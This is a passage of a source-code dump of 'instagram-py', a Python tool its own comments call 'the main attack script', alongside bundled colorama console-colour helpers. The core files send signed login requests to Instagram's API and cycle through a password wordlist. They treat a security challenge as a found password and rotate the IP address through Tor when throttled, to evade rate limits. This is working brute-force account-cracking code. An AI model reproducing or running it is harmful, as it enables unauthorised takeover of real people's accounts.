99 | success = _GetConsoleScreenBufferInfo( 100 | handle, byref(csbi)) 101 | return bool(success) 102 | 103 | def winapi_test(): 104 | return any(_winapi_test(h) for h in handles.values()) 105 | 106 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 107 | handle = handles[stream_id] 108 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 109 | success = _GetConsoleScreenBufferInfo( 110 | handle, byref(csbi)) 111 | return csbi 112 | 113 | def SetConsoleTextAttribute(stream_id, attrs): 114 | handle = handles[stream_id] 115 | return _SetConsoleTextAttribute(handle, attrs) 116 | 117 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 118 | position = COORD(*position) 119 | # If the position is out of range, do nothing. 120 | if position.Y <= 0 or position.X <= 0: 121 | return 122 | # Adjust for Windows' SetConsoleCursorPosition: 123 | # 1. being 0-based, while ANSI is 1-based. 124 | # 2. expecting (x,y), while ANSI uses (y,x). 125 | adjusted_position = COORD(position.Y - 1, position.X - 1) 126 | if adjust: 127 | # Adjust for viewport's scroll position 128 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 129 | adjusted_position.Y += sr.Top 130 | adjusted_position.X += sr.Left 131 | # Resume normal processing 132 | handle = handles[stream_id] 133 | return _SetConsoleCursorPosition(handle, adjusted_position) 134 | 135 | def FillConsoleOutputCharacter(stream_id, char, length, start): 136 | handle = handles[stream_id] 137 | char = c_char(char.encode()) 138 | length = wintypes.DWORD(length) 139 | num_written = wintypes.DWORD(0) 140 | # Note that this is hard-coded for ANSI (vs wide) bytes. 141 | success = _FillConsoleOutputCharacterA( 142 | handle, char, length, start, byref(num_written)) 143 | return num_written.value 144 | 145 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 146 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 147 | handle = handles[stream_id] 148 | attribute = wintypes.WORD(attr) 149 | length = wintypes.DWORD(length) 150 | num_written = wintypes.DWORD(0) 151 | # Note that this is hard-coded for ANSI (vs wide) bytes. 152 | return _FillConsoleOutputAttribute( 153 | handle, attribute, length, start, byref(num_written)) 154 | 155 | def SetConsoleTitle(title): 156 | return _SetConsoleTitleW(title) 157 | -------------------------------------------------------------------------------- /InstagramPy/colors/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. 31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other, 32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back 33 | # and BRIGHT is overwritten by Style codes. 34 | self._light = 0 35 | 36 | def get_attrs(self): 37 | return self._fore + self._back * 16 + (self._style | self._light) 38 | 39 | def set_attrs(self, value): 40 | self._fore = value & 7 41 | self._back = (value >> 4) & 7 42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 43 | 44 | def reset_all(self, on_stderr=None): 45 | self.set_attrs(self._default) 46 | self.set_console(attrs=self._default) 47 | self._light = 0 48 | 49 | def fore(self, fore=None, light=False, on_stderr=False): 50 | if fore is None: 51 | fore = self._default_fore 52 | self._fore = fore 53 | # Emulate LIGHT_EX with BRIGHT Style 54 | if light: 55 | self._light |= WinStyle.BRIGHT 56 | else: 57 | self._light &= ~WinStyle.BRIGHT 58 | self.set_console(on_stderr=on_stderr) 59 | 60 | def back(self, back=None, light=False, on_stderr=False): 61 | if back is None: 62 | back = self._default_back 63 | self._back = back 64 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style 65 | if light: 66 | self._light |= WinStyle.BRIGHT_BACKGROUND 67 | else: 68 | self._light &= ~WinStyle.BRIGHT_BACKGROUND 69 | self.set_console(on_stderr=on_stderr) 70 | 71 | def style(self, style=None, on_stderr=False): 72 | if style is None: 73 | style = self._default_style 74 | self._style = style 75 | self.set_console(on_stderr=on_stderr) 76 | 77 | def set_console(self, attrs=None, on_stderr=False): 78 | if attrs is None: 79 | attrs = self.get_attrs() 80 | handle = win32.STDOUT 81 | if on_stderr: 82 | handle = win32.STDERR 83 | win32.SetConsoleTextAttribute(handle, attrs) 84 | 85 | def get_position(self, handle): 86 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 87 | # Because Windows coordinates are 0-based, 88 | # and win32.SetConsoleCursorPosition expects 1-based. 89 | position.X += 1 90 | position.Y += 1 91 | return position 92 | 93 | def set_cursor_position(self, position=None, on_stderr=False): 94 | if position is None: 95 | # I'm not currently tracking the position, so there is no default. 96 | # position = self.get_position() 97 | return 98 | handle = win32.STDOUT 99 | if on_stderr: 100 | handle = win32.STDERR 101 | win32.SetConsoleCursorPosition(handle, position) 102 | 103 | def cursor_adjust(self, x, y, on_stderr=False): 104 | handle = win32.STDOUT 105 | if on_stderr: 106 | handle = win32.STDERR 107 | position = self.get_position(handle) 108 | adjusted_position = (position.Y + y, position.X + x) 109 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 110 | 111 | def erase_screen(self, mode=0, on_stderr=False): 112 | # 0 should clear from the cursor to the end of the screen. 113 | # 1 should clear from the cursor to the beginning of the screen. 114 | # 2 should clear the entire screen, and move cursor to (1,1) 115 | handle = win32.STDOUT 116 | if on_stderr: 117 | handle = win32.STDERR 118 | csbi = win32.GetConsoleScreenBufferInfo(handle) 119 | # get the number of character cells in the current buffer 120 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 121 | # get number of character cells before current cursor position 122 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 123 | if mode == 0: 124 | from_coord = csbi.dwCursorPosition 125 | cells_to_erase = cells_in_screen - cells_before_cursor 126 | if mode == 1: 127 | from_coord = win32.COORD(0, 0) 128 | cells_to_erase = cells_before_cursor 129 | elif mode == 2: 130 | from_coord = win32.COORD(0, 0) 131 | cells_to_erase = cells_in_screen 132 | # fill the entire screen with blanks 133 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 134 | # now set the buffer's attributes accordingly 135 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 136 | if mode == 2: 137 | # put the cursor where needed 138 | win32.SetConsoleCursorPosition(handle, (1, 1)) 139 | 140 | def erase_line(self, mode=0, on_stderr=False): 141 | # 0 should clear from the cursor to the end of the line. 142 | # 1 should clear from the cursor to the beginning of the line. 143 | # 2 should clear the entire line. 144 | handle = win32.STDOUT 145 | if on_stderr: 146 | handle = win32.STDERR 147 | csbi = win32.GetConsoleScreenBufferInfo(handle) 148 | if mode == 0: 149 | from_coord = csbi.dwCursorPosition 150 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 151 | if mode == 1: 152 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 153 | cells_to_erase = csbi.dwCursorPosition.X 154 | elif mode == 2: 155 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 156 | cells_to_erase = csbi.dwSize.X 157 | # fill the entire screen with blanks 158 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 159 | # now set the buffer's attributes accordingly 160 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 161 | 162 | def set_title(self, title): 163 | win32.SetConsoleTitle(title) 164 | -------------------------------------------------------------------------------- /InstagramPy/InstagramPyInstance.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : InstagramPyInstance.py 5 | # @description : creates a new app instance and coordinates with 6 | # InstagramPySession , InstagramPyReports and InstagramPyCLI. 7 | # the main attack script. 8 | import uuid 9 | import time 10 | import sys 11 | import hmac 12 | import urllib 13 | import json 14 | import hashlib 15 | import requests 16 | 17 | 18 | class InstagramPyInstance: 19 | cli = None 20 | guid = str(uuid.uuid4()) 21 | phone_id = guid 22 | device_id = None 23 | session = None 24 | password_found = False 25 | 26 | def __init__(self, cli, session): 27 | if not cli == None: 28 | self.cli = cli 29 | else: 30 | self.cli = None 31 | 32 | if not session == None: 33 | self.session = session 34 | else: 35 | print('InstagramPyInstance:: no session given.') 36 | sys.exit(-1) 37 | self.device_id = self.GetDeviceId() 38 | 39 | def GetDeviceId(self): 40 | user_hash = hashlib.md5() 41 | user_hash.update(self.session.username.encode( 42 | 'utf-8') + str(uuid.uuid4()).encode('utf-8')) 43 | device_hash = hashlib.md5() 44 | device_hash.update(user_hash.hexdigest().encode( 45 | 'utf-8') + '12345'.encode('utf-8')) 46 | return str('android-' + device_hash.hexdigest()[:16]) 47 | 48 | def PasswordFound(self): 49 | return self.password_found 50 | 51 | def TryPassword(self): 52 | if not self.password_found and not self.session.eopl: 53 | request_data = None 54 | response_data = None 55 | 56 | data = { 57 | 'phone_id': self.phone_id, 58 | '_csrftoken': self.session.magic_cookie, 59 | 'username': self.session.username, 60 | 'guid': self.guid, 61 | 'device_id': self.device_id, 62 | 'password': self.session.CurrentPassword(), 63 | 'login_attempt_count': '0' 64 | } 65 | 66 | json_data = json.dumps(data) 67 | hmac_signed = hmac.new(self.session.ig_sig_key.encode( 68 | 'utf-8'), json_data.encode('utf-8'), hashlib.sha256).hexdigest() 69 | json_data_enc = urllib.parse.quote(json_data) 70 | 71 | try: 72 | r = requests.Request(method='POST', url='{}accounts/login/'.format(self.session.api_url), 73 | data='ig_sig_key_version={}&signed_body={}.{}'.format(self.session.ig_sig_version, 74 | hmac_signed, 75 | json_data_enc 76 | ), cookies=self.session.bot.cookies, headers=self.session.bot.headers) 77 | request_data = r.prepare() 78 | r = self.session.bot.post('{}accounts/login/'.format(self.session.api_url), 79 | data='ig_sig_key_version={}&signed_body={}.{}'.format(self.session.ig_sig_version, 80 | hmac_signed, 81 | json_data_enc 82 | )) 83 | 84 | except KeyboardInterrupt: 85 | if not self.cli == None: 86 | self.cli.ReportError('process aborted by the user') 87 | else: 88 | sys.exit(-1) 89 | except (BaseException, Exception) as err: 90 | if not self.cli == None: 91 | self.cli.ReportError( 92 | "unable to send request to instagram :: {}".format(err)) 93 | else: 94 | sys.exit(-1) 95 | 96 | if r.status_code == 200: 97 | self.password_found = True 98 | if not self.cli == None: 99 | self.cli.PrintProgress(password=self.session.CurrentPassword(), 100 | ip=self.session.ip, 101 | request=request_data, 102 | response=r.content 103 | ) 104 | self.cli.ReportAttack(self.session.CurrentPassword()) 105 | else: 106 | try: 107 | response_data = (r.json())['message'] 108 | except: 109 | # sleep for some seconds to let instagram recover 110 | time.sleep(3) 111 | return True 112 | 113 | if response_data == 'challenge_required': 114 | self.password_found = True 115 | if not self.cli == None: 116 | self.cli.PrintProgress(password=self.session.CurrentPassword(), 117 | ip=self.session.ip, 118 | request=request_data, 119 | response=r.content 120 | ) 121 | 122 | self.cli.ReportAttack(self.session.CurrentPassword()) 123 | 124 | elif response_data == 'The password you entered is incorrect. Please try again.': 125 | if not self.session.current_save == None: 126 | self.session.UpdateSaveFile() 127 | self.session.NextPassword() 128 | if not self.cli == None: 129 | self.cli.PrintProgress(password=self.session.CurrentPassword(), 130 | ip=self.session.ip, 131 | request=request_data, 132 | response=r.content 133 | ) 134 | else: 135 | if 'Invalid' not in response_data: 136 | if not self.cli == None: 137 | self.cli.PrintProgress(password=self.session.CurrentPassword(), 138 | ip=self.session.ip, 139 | request=request_data, 140 | response=r.content 141 | ) 142 | self.cli.PrintChangingIP() 143 | self.session.ChangeIPAddress() # signal tor to change ip 144 | else: 145 | self.session.NextPassword() 146 | 147 | else: 148 | if self.password_found: 149 | if not self.cli == None: 150 | self.cli.PrintProgress(password=self.session.CurrentPassword(), 151 | ip=self.session.ip, 152 | request=request_data, 153 | response=r.content 154 | ) 155 | 156 | self.cli.ReportAttack(self.session.CurrentPassword()) 157 | else: 158 | if not self.cli == None: 159 | self.cli.ReportAttack(None) 160 | sys.exit(-1) 161 | -------------------------------------------------------------------------------- /InstagramPy/InstagramPyCLI.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : InstagramPyCLI.py 5 | # @description : Simple command line interface to display progress 6 | # and efficiently show response too. 7 | 8 | import datetime 9 | import sys 10 | from InstagramPy import AppInfo 11 | from .colors import * 12 | 13 | 14 | class InstagramPyCLI: 15 | username = None 16 | started = None 17 | verbose = 0 18 | 19 | def __init__(self, appinfo, started, verbose_level, username): 20 | try: 21 | self.verbose = int(verbose_level) 22 | self.started = started 23 | self.username = username 24 | if not appinfo == None: 25 | appinfo = appinfo 26 | except: 27 | self.verbose = 0 28 | self.started = started 29 | appinfo = AppInfo.appInfo 30 | if username == None or username == '': 31 | self.ReportError("username not provided!") 32 | else: 33 | self.username = username 34 | 35 | self.HEADER = "{} {} , {}.\nCopyright (C) {} {} , {}.\n".format(appinfo['name'], 36 | appinfo['version'], 37 | appinfo['description'], 38 | appinfo['year'], 39 | appinfo['company'], 40 | appinfo['author']) 41 | self.HEADER = Fore.MAGENTA + self.HEADER + Style.RESET_ALL 42 | 43 | def ReportError(self, error): 44 | print('{}{}fatal error::{} {}'.format( 45 | Style.BRIGHT, Fore.RED, Style.RESET_ALL, error)) 46 | sys.exit(-1) 47 | 48 | def PrintHeader(self): 49 | print(self.HEADER) 50 | return True 51 | 52 | def PrintDatetime(self): 53 | print('{}[{}+{}{}]{} {}Started{} @ {}'.format(Style.BRIGHT, 54 | Fore.YELLOW, 55 | Style.RESET_ALL, 56 | Style.BRIGHT, 57 | Style.RESET_ALL, 58 | Fore.MAGENTA, 59 | Style.RESET_ALL + Fore.YELLOW, 60 | str(self.started) + 61 | Style.RESET_ALL 62 | )) 63 | return True 64 | 65 | def PrintChangingIP(self): 66 | print('[{}*{}] {}Changing IP Address... {}'.format(Fore.YELLOW, 67 | Style.RESET_ALL, Fore.GREEN, Style.RESET_ALL)) 68 | return True 69 | 70 | def PrintIPAddress(self, ip): 71 | print('[{}+{}] {}Current IP{} :: {}{}{}'.format(Fore.RED, 72 | Style.RESET_ALL, 73 | Fore.YELLOW, 74 | Style.RESET_ALL, 75 | Style.BRIGHT, 76 | str(ip), 77 | Style.RESET_ALL 78 | )) 79 | return True 80 | 81 | def PrintPassword(self, password): 82 | print('[{}+{}] {}Trying [FOR] @{} {} :: {}{}{}'.format(Fore.GREEN, 83 | Style.RESET_ALL, 84 | Fore.CYAN, 85 | self.username, 86 | Style.RESET_ALL, 87 | Style.BRIGHT, 88 | password, 89 | Style.RESET_ALL 90 | )) 91 | return True 92 | 93 | def PrintRequest(self, req): 94 | print('\n[{}-{}] --:: {}REQUEST START -> @{} {} ::--'.format(Fore.MAGENTA, 95 | Style.RESET_ALL, Back.CYAN + Style.BRIGHT, self.username, Style.RESET_ALL)) 96 | print('{}{}{} {}{}{}'.format(Fore.GREEN, req.method, 97 | Style.RESET_ALL, Style.BRIGHT, req.url, Style.RESET_ALL)) 98 | print('{}{}{}'.format(Fore.YELLOW, '\n'.join('{}: {}'.format(k, v) 99 | for k, v in req.headers.items()), Style.RESET_ALL)) 100 | print('{}{}{}'.format(Style.BRIGHT, req.body, Style.RESET_ALL)) 101 | print('[{}+{}] --:: {}REQUEST END{} ::--'.format(Fore.GREEN, 102 | Style.RESET_ALL, Back.GREEN + Style.BRIGHT, Style.RESET_ALL)) 103 | return True 104 | 105 | def PrintResponse(self, resp): 106 | print('\n[{}-{}] --:: {}RESPONSE START -> @{} {} ::--'.format(Fore.MAGENTA, 107 | Style.RESET_ALL, Back.CYAN + Style.BRIGHT, self.username, Style.RESET_ALL)) 108 | print('{}{}{}'.format(Style.BRIGHT, str(resp), Style.RESET_ALL)) 109 | print('[{}+{}] --:: {}RESPONSE END{} ::--'.format(Fore.GREEN, 110 | Style.RESET_ALL, Back.GREEN + Style.BRIGHT, Style.RESET_ALL)) 111 | return True 112 | 113 | def PrintProgress(self, password, ip, request, response): 114 | if self.verbose == 0: 115 | self.PrintPassword(password) 116 | elif self.verbose == 1: 117 | self.PrintPassword(password) 118 | self.PrintResponse(response) 119 | elif self.verbose == 2: 120 | self.PrintPassword(password) 121 | self.PrintResponse(response) 122 | self.PrintIPAddress(ip) 123 | else: 124 | self.PrintPassword(password) 125 | self.PrintRequest(request) 126 | self.PrintResponse(response) 127 | self.PrintIPAddress(ip) 128 | return True 129 | 130 | def ReportAttack(self, password): 131 | print('\n[{}+{}] --:: {}Completed -> @{} {} ::--'.format(Fore.YELLOW, 132 | Style.RESET_ALL, Back.YELLOW + Style.BRIGHT, self.username, Style.RESET_ALL), 133 | end='') 134 | if not password == None: 135 | print('{}[{}*{}{}]{} {}Password Found!{} :: {}'.format(Style.BRIGHT, 136 | Fore.RED, 137 | Style.RESET_ALL, 138 | Style.BRIGHT, 139 | Style.RESET_ALL, 140 | Fore.CYAN, 141 | Style.RESET_ALL + Style.BRIGHT + Fore.GREEN, 142 | password + Style.RESET_ALL 143 | )) 144 | else: 145 | print('{}{}Password not found , Try using another wordlist.{}'.format( 146 | Style.BRIGHT, Fore.RED, Style.RESET_ALL)) 147 | 148 | print('{}[{}+{}{}]{} {}Finnished in {}{}'.format(Style.BRIGHT, 149 | Fore.YELLOW, 150 | Style.RESET_ALL, 151 | Style.BRIGHT, 152 | Style.RESET_ALL, 153 | Fore.MAGENTA, 154 | Style.RESET_ALL + Fore.YELLOW, 155 | str(datetime.datetime.now( 156 | ) - self.started) + Style.RESET_ALL 157 | )) 158 | return True 159 | 160 | def PrintFooter(self): 161 | print('\n{}Report bug, suggestions and new features at {}{}https://github.com/deathsec/instagram-py{}'.format(Fore.GREEN, 162 | Style.RESET_ALL, 163 | Style.BRIGHT, 164 | Style.RESET_ALL 165 | )) 166 | return True 167 | -------------------------------------------------------------------------------- /InstagramPy/colors/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll, winapi_test 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | def is_stream_closed(stream): 17 | return not hasattr(stream, 'closed') or stream.closed 18 | 19 | 20 | def is_a_tty(stream): 21 | return hasattr(stream, 'isatty') and stream.isatty() 22 | 23 | 24 | class StreamWrapper(object): 25 | ''' 26 | Wraps a stream (such as stdout), acting as a transparent proxy for all 27 | attribute access apart from method 'write()', which is delegated to our 28 | Converter instance. 29 | ''' 30 | def __init__(self, wrapped, converter): 31 | # double-underscore everything to prevent clashes with names of 32 | # attributes on the wrapped stream object. 33 | self.__wrapped = wrapped 34 | self.__convertor = converter 35 | 36 | def __getattr__(self, name): 37 | return getattr(self.__wrapped, name) 38 | 39 | def write(self, text): 40 | self.__convertor.write(text) 41 | 42 | 43 | class AnsiToWin32(object): 44 | ''' 45 | Implements a 'write()' method which, on Windows, will strip ANSI character 46 | sequences from the text, and if outputting to a tty, will convert them into 47 | win32 function calls. 48 | ''' 49 | ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer 50 | ANSI_OSC_RE = re.compile('\001?\033\\]((?:.|;)*?)(\x07)\002?') # Operating System Command 51 | 52 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 53 | # The wrapped stream (normally sys.stdout or sys.stderr) 54 | self.wrapped = wrapped 55 | 56 | # should we reset colors to defaults after every .write() 57 | self.autoreset = autoreset 58 | 59 | # create the proxy wrapping our output stream 60 | self.stream = StreamWrapper(wrapped, self) 61 | 62 | on_windows = os.name == 'nt' 63 | # We test if the WinAPI works, because even if we are on Windows 64 | # we may be using a terminal that doesn't support the WinAPI 65 | # (e.g. Cygwin Terminal). In this case it's up to the terminal 66 | # to support the ANSI codes. 67 | conversion_supported = on_windows and winapi_test() 68 | 69 | # should we strip ANSI sequences from our output? 70 | if strip is None: 71 | strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped)) 72 | self.strip = strip 73 | 74 | # should we should convert ANSI sequences into win32 calls? 75 | if convert is None: 76 | convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped) 77 | self.convert = convert 78 | 79 | # dict of ansi codes to win32 functions and parameters 80 | self.win32_calls = self.get_win32_calls() 81 | 82 | # are we wrapping stderr? 83 | self.on_stderr = self.wrapped is sys.stderr 84 | 85 | def should_wrap(self): 86 | ''' 87 | True if this class is actually needed. If false, then the output 88 | stream will not be affected, nor will win32 calls be issued, so 89 | wrapping stdout is not actually required. This will generally be 90 | False on non-Windows platforms, unless optional functionality like 91 | autoreset has been requested using kwargs to init() 92 | ''' 93 | return self.convert or self.strip or self.autoreset 94 | 95 | def get_win32_calls(self): 96 | if self.convert and winterm: 97 | return { 98 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 99 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 100 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 101 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 102 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 103 | AnsiFore.RED: (winterm.fore, WinColor.RED), 104 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 105 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 106 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 107 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 108 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 109 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 110 | AnsiFore.RESET: (winterm.fore, ), 111 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 112 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 113 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 114 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 115 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 116 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 117 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 118 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 119 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 120 | AnsiBack.RED: (winterm.back, WinColor.RED), 121 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 122 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 123 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 124 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 125 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 126 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 127 | AnsiBack.RESET: (winterm.back, ), 128 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 129 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 130 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 131 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 132 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 133 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 134 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 135 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 136 | } 137 | return dict() 138 | 139 | def write(self, text): 140 | if self.strip or self.convert: 141 | self.write_and_convert(text) 142 | else: 143 | self.wrapped.write(text) 144 | self.wrapped.flush() 145 | if self.autoreset: 146 | self.reset_all() 147 | 148 | 149 | def reset_all(self): 150 | if self.convert: 151 | self.call_win32('m', (0,)) 152 | elif not self.strip and not is_stream_closed(self.wrapped): 153 | self.wrapped.write(Style.RESET_ALL) 154 | 155 | 156 | def write_and_convert(self, text): 157 | ''' 158 | Write the given text to our wrapped stream, stripping any ANSI 159 | sequences from the text, and optionally converting them into win32 160 | calls. 161 | ''' 162 | cursor = 0 163 | text = self.convert_osc(text) 164 | for match in self.ANSI_CSI_RE.finditer(text): 165 | start, end = match.span() 166 | self.write_plain_text(text, cursor, start) 167 | self.convert_ansi(*match.groups()) 168 | cursor = end 169 | self.write_plain_text(text, cursor, len(text)) 170 | 171 | 172 | def write_plain_text(self, text, start, end): 173 | if start < end: 174 | self.wrapped.write(text[start:end]) 175 | self.wrapped.flush() 176 | 177 | 178 | def convert_ansi(self, paramstring, command): 179 | if self.convert: 180 | params = self.extract_params(command, paramstring) 181 | self.call_win32(command, params) 182 | 183 | 184 | def extract_params(self, command, paramstring): 185 | if command in 'Hf': 186 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 187 | while len(params) < 2: 188 | # defaults: 189 | params = params + (1,) 190 | else: 191 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 192 | if len(params) == 0: 193 | # defaults: 194 | if command in 'JKm': 195 | params = (0,) 196 | elif command in 'ABCD': 197 | params = (1,) 198 | 199 | return params 200 | 201 | 202 | def call_win32(self, command, params): 203 | if command == 'm': 204 | for param in params: 205 | if param in self.win32_calls: 206 | func_args = self.win32_calls[param] 207 | func = func_args[0] 208 | args = func_args[1:] 209 | kwargs = dict(on_stderr=self.on_stderr) 210 | func(*args, **kwargs) 211 | elif command in 'J': 212 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 213 | elif command in 'K': 214 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 215 | elif command in 'Hf': # cursor position - absolute 216 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 217 | elif command in 'ABCD': # cursor position - relative 218 | n = params[0] 219 | # A - up, B - down, C - forward, D - back 220 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 221 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 222 | 223 | 224 | def convert_osc(self, text): 225 | for match in self.ANSI_OSC_RE.finditer(text): 226 | start, end = match.span() 227 | text = text[:start] + text[end:] 228 | paramstring, command = match.groups() 229 | if command in '\x07': # \x07 = BEL 230 | params = paramstring.split(";") 231 | # 0 - change title and icon (we will only change title) 232 | # 1 - change icon (we don't support this) 233 | # 2 - change title 234 | if params[0] in '02': 235 | winterm.set_title(params[1]) 236 | return text 237 | -------------------------------------------------------------------------------- /InstagramPy/InstagramPySession.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : InstagramPySession.py 5 | # @description : creates a new session , checks for configuration and gets critical data 6 | # , loads save and saves data too. 7 | import json 8 | import os 9 | import uuid 10 | import hashlib 11 | import requests 12 | from stem import Signal 13 | from stem.control import Controller 14 | 15 | DEFAULT_PATH = "{}/".format(os.path.expanduser('~')) 16 | 17 | 18 | class InstagramPySession: 19 | ''' 20 | __init__: 21 | - loads configuration from specified file. 22 | - gets the perfect place for the save file. 23 | - sets class variables for later use. 24 | ''' 25 | 26 | magic_cookie = None 27 | api_url = None 28 | user_agent = None 29 | ig_sig_key = None 30 | ig_sig_version = None 31 | tor_proxy = None 32 | tor_controller = None 33 | save_data = None 34 | dump_data = None 35 | current_save = None 36 | username = '' 37 | password = '' 38 | password_list = None 39 | password_list_md5_sum = None 40 | password_list_buffer = None 41 | password_list_length = 0 42 | eopl = False 43 | current_line = 1 44 | ip = None 45 | cli = None 46 | bot = requests.Session() 47 | 48 | def __init__(self, username, password_list, configuration, save_location, cli): 49 | 50 | self.username = username 51 | self.cli = cli 52 | 53 | if not os.path.isfile(password_list): 54 | self.cli.ReportError( 55 | "password list not found at {}.".format(password_list)) 56 | self.password_list = password_list 57 | ''' 58 | Note: Always open password list with errors ignored because all password list 59 | mostly has a wrong encoding or the users pc does not support it! 60 | ''' 61 | self.password_list_buffer = open( 62 | password_list, encoding='utf-8', errors='ignore') 63 | self.password_list_md5_sum = str( 64 | self.md5sum(open(password_list, "rb")).hexdigest()) 65 | 66 | with open(password_list, encoding='utf-8', errors='ignore') as f: 67 | for line in f: 68 | self.password_list_length += 1 69 | 70 | if configuration == DEFAULT_PATH: 71 | configuration = "{}instapy-config.json".format(DEFAULT_PATH) 72 | if save_location == DEFAULT_PATH: 73 | save_location = "{}.instagram-py/".format(DEFAULT_PATH) 74 | 75 | dump_location = "{}dump.json".format(save_location) 76 | 77 | if not os.path.isfile(configuration): 78 | self.cli.ReportError( 79 | "configuration file not found at {}".format(configuration)) 80 | else: 81 | try: 82 | with open(configuration, "r") as fp: 83 | configuration = json.load(fp) 84 | except Exception as err: 85 | self.cli.ReportError( 86 | "invalid configuration file at {}".format(configuraion)) 87 | 88 | self.api_url = 